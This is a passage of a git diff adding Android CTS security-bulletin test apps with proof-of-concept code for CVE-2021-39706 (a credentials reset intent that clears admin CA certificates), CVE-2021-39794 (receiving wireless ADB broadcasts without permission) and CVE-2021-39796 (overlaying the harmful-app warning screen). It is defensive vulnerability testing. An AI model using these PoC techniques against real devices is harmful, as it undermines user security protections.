+        tapText(resources.getString(R.string.cleanCache));
+        if (device.wait(Until.hasObject(By.pkg(settingsPkg)), TIMEOUT)) {
+            // Press OK in the reset dialog which confirms before clearing certificates
+            tapText(resources.getString(R.string.oK));
+        }
+        long end = System.currentTimeMillis() + TIMEOUT;
+        while (System.currentTimeMillis() < end) {
+            if (!policyManager.hasCaCertInstalled(cert)) {
+                // Without fix, the certificate is reset
+                fail(resources.getString(R.string.failMessage));
+            }
+        }
+
+        // With fix, the certificate is not reset. Uninstall it explicitly
+        policyManager.uninstallCaCert(cert);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocActivity.java
new file mode 100644
index 0000000..7d112f2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocActivity.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39706;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+import android.view.View;
+import android.widget.Button;
+
+import androidx.test.InstrumentationRegistry;
+
+public class PocActivity extends Activity {
+
+    public static boolean checkIsCar() {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        PackageManager pm = context.getPackageManager();
+        return pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.activity_main);
+        Button button = (Button) findViewById(R.id.button);
+        button.setOnClickListener(new View.OnClickListener() {
+            @Override
+            public void onClick(View view) {
+                credentialStorageReset();
+            }
+        });
+    }
+
+    private void credentialStorageReset() {
+        boolean isCar = checkIsCar();
+        Intent intent = new Intent("com.android.credentials.RESET");
+        String pkg = isCar ? getResources().getString(R.string.settingsPkgCar)
+                : getResources().getString(R.string.settingsPkg);
+        String cls = isCar ? getResources().getString(R.string.certClsCar)
+                : getResources().getString(R.string.certCls);
+        intent.setClassName(pkg, cls);
+        try {
+            startActivity(intent);
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocDeviceAdminReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocDeviceAdminReceiver.java
new file mode 100644
index 0000000..4c413c2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocDeviceAdminReceiver.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39706;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+public class PocDeviceAdminReceiver extends DeviceAdminReceiver {
+
+    @Override
+    public void onEnabled(Context context, Intent intent) {
+        super.onEnabled(context, intent);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocPolicyManager.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocPolicyManager.java
new file mode 100644
index 0000000..76a5a94
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocPolicyManager.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39706;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+
+public class PocPolicyManager {
+    private Context mContext;
+    private DevicePolicyManager mDevicePolicyManager;
+    private ComponentName mComponentName;
+
+    public PocPolicyManager(Context context) {
+        this.mContext = context;
+        mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
+        mComponentName = new ComponentName(PocDeviceAdminReceiver.class.getPackage().getName(),
+                PocDeviceAdminReceiver.class.getName());
+    }
+
+    public boolean installCaCert(byte[] cert) {
+        return mDevicePolicyManager.installCaCert(mComponentName, cert);
+    }
+
+    public boolean hasCaCertInstalled(byte[] cert) {
+        return mDevicePolicyManager.hasCaCertInstalled(mComponentName, cert);
+    }
+
+    public void uninstallCaCert(byte[] cert) {
+        mDevicePolicyManager.uninstallCaCert(mComponentName, cert);
+    }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/Android.bp
similarity index 64%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/Android.bp
index bcbf54f..dbf8b37 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/Android.bp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -19,8 +19,19 @@
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
-cc_test {
-    name: "CVE-2020-29368",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+android_test_helper_app {
+    name: "CVE-2021-39794-receiver",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+    ],
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/AndroidManifest.xml
new file mode 100644
index 0000000..8464275
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/AndroidManifest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2021_39794_receiver"
+    android:versionCode="1"
+    android:versionName="1.0">
+    <uses-sdk android:targetSdkVersion="25"/>
+    <application
+        android:label="CVE-2021-39794-receiver"
+        android:supportsRtl="true">
+        <activity
+            android:name=".PocActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+        <receiver android:name=".PocReceiver"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="com.android.server.adb.WIRELESS_DEBUG_STATUS" />
+                <action android:name="com.android.server.adb.WIRELESS_DEBUG_PAIRED_DEVICES" />
+                <action android:name="com.android.server.adb.WIRELESS_DEBUG_PAIRING_RESULT" />
+            </intent-filter>
+        </receiver>
+    </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/res/layout/activity_main.xml
new file mode 100644
index 0000000..a85bec9
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/res/layout/activity_main.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+        android:orientation="vertical"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent">
+    <View
+        android:id="@+id/drawableview"
+        android:layout_width="match_parent"
+        android:layout_height="300dp" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocActivity.java
new file mode 100644
index 0000000..c62e464
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocActivity.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39794_receiver;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class PocActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.activity_main);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocReceiver.java
new file mode 100644
index 0000000..ebad4ed
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocReceiver.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39794_receiver;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+public class PocReceiver extends BroadcastReceiver {
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        // If PocReceiver is able to receive AdbManager broadcasts
+        // without having MANAGE_DEBUGGING permission, this indicates
+        // that vulnerability exists. Transfer control back to
+        // the test app and make the CTS fail in PocTestActivity
+        try {
+            Intent i = new Intent();
+            i.setClassName("android.security.cts.CVE_2021_39794_test",
+                    "android.security.cts.CVE_2021_39794_test.PocTestActivity");
+            i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            context.startActivity(i);
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/Android.bp
similarity index 63%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/Android.bp
index bcbf54f..0ddc4fa 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/Android.bp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -19,8 +19,20 @@
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
-cc_test {
-    name: "CVE-2020-29368",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+android_test_helper_app {
+    name: "CVE-2021-39794-test",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+    ],
+    certificate: "platform",
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/AndroidManifest.xml
new file mode 100644
index 0000000..8ae6025
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2021_39794_test"
+    android:versionCode="1"
+    android:versionName="1.0">
+    <uses-permission android:name="android.permission.MANAGE_DEBUGGING"/>
+    <application
+        android:label="CVE-2021-39794-test"
+        android:supportsRtl="true">
+        <activity
+            android:name=".PocTestActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2021_39794_test" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/DeviceTest.java
new file mode 100644
index 0000000..d918b06
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/DeviceTest.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39794_test;
+
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+
+import android.content.Context;
+import android.debug.IAdbManager;
+import android.os.IBinder;
+import android.os.RemoteException;
+import android.os.ServiceManager;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+    private static final int MAX_WAIT_TIME_MS = 10000;
+
+    @Test
+    public void testCVE_2021_39794() {
+        IBinder binder = ServiceManager.getService(Context.ADB_SERVICE);
+        assumeNotNull(binder);
+        IAdbManager manager = IAdbManager.Stub.asInterface(binder);
+        assumeNotNull(manager);
+        try {
+            manager.enablePairingByPairingCode();
+        } catch (RemoteException e) {
+            assumeNoException(e);
+        }
+
+        // Wait for receiver app to get the broadcast
+        try {
+            Thread.sleep(MAX_WAIT_TIME_MS);
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/PocTestActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/PocTestActivity.java
new file mode 100644
index 0000000..6c11b9a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/PocTestActivity.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39794_test;
+
+import static org.junit.Assert.fail;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class PocTestActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        fail("Vulnerable to b/205836329 !!");
+    }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/Android.bp
similarity index 60%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-39796/Android.bp
index bcbf54f..9ba76d0 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/Android.bp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -19,8 +19,21 @@
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
-cc_test {
-    name: "CVE-2020-29368",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+android_test_helper_app {
+    name: "CVE-2021-39796",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+    ],
+    sdk_version: "current",
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/AndroidManifest.xml
new file mode 100644
index 0000000..9ef9763
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/AndroidManifest.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    package="android.security.cts.CVE_2021_39796"
+    android:versionCode="1"
+    android:versionName="1.0">
+
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+    <application
+        android:allowBackup="true"
+        android:label="CVE_2021_39796"
+        android:supportsRtl="true">
+        <service android:name=".PocService"
+            android:enabled="true"
+            android:exported="true" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2021_39796" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/Android.bp
similarity index 64%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/Android.bp
index bcbf54f..d669e9f 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/Android.bp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -19,8 +19,19 @@
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
-cc_test {
-    name: "CVE-2020-29368",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+android_test_helper_app {
+    name: "CVE-2021-39796-harmful",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+    ],
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/AndroidManifest.xml
new file mode 100644
index 0000000..52f2fd2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2021_39796_harmful"
+    android:versionCode="1"
+    android:versionName="1.0">
+    <application
+        android:label="CVE-2021-39796-harmful"
+        android:supportsRtl="true">
+        <activity
+            android:name=".PocActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/res/layout/activity_main.xml
new file mode 100644
index 0000000..bb5d570
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/res/layout/activity_main.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+        android:orientation="vertical"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent">
+    <View
+        android:id="@+id/drawableview"
+        android:layout_width="match_parent"
+        android:layout_height="300dp" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/src/android/security/cts/CVE_2021_39796_harmful/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/src/android/security/cts/CVE_2021_39796_harmful/PocActivity.java
new file mode 100644
index 0000000..3ca3645
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/src/android/security/cts/CVE_2021_39796_harmful/PocActivity.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39796_harmful;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class PocActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.activity_main);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/res/values/strings.xml
new file mode 100644
index 0000000..c16cd74
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/res/values/strings.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<resources>
+    <string name="activityNotFoundMsg">The activity with intent was not found : </string>
+    <string name="activityNotStartedException">Unable to start the activity with intent : </string>
+    <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string>
+    <string name="dumpsysActivity">dumpsys activity</string>
+    <string name="dumpsysActivityNotStartedException">Could not execute dumpsys activity
+    command</string>
+    <string name="errorMessage">Device is vulnerable to b/205595291 hence any app with
+    SYSTEM_ALERT_WINDOW can overlay the HarmfulAppWarningActivity screen</string>
+    <string name="harmfulActivity">android/com.android.internal.app.HarmfulAppWarningActivity
+    </string>
+    <string name="mResumedTrue">mResumed=true</string>
+    <string name="overlayAttack">overlayattack</string>
+    <string name="overlayButtonText">OverlayButton</string>
+    <string name="overlayServiceNotStartedException">Unable to start the overlay service</string>
+    <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
+    <string name="testPkg">android.security.cts.CVE_2021_39796</string>
+    <string name="vulActivityNotRunningError">The HarmfulAppWarningActivity is not currently
+    running on the device</string>
+    <string name="vulnerablePkg">android.security.cts.CVE_2021_39796_harmful</string>
+    <string name="vulnerableActivity">android.security.cts.CVE_2021_39796_harmful.PocActivity
+    </string>
+</resources>
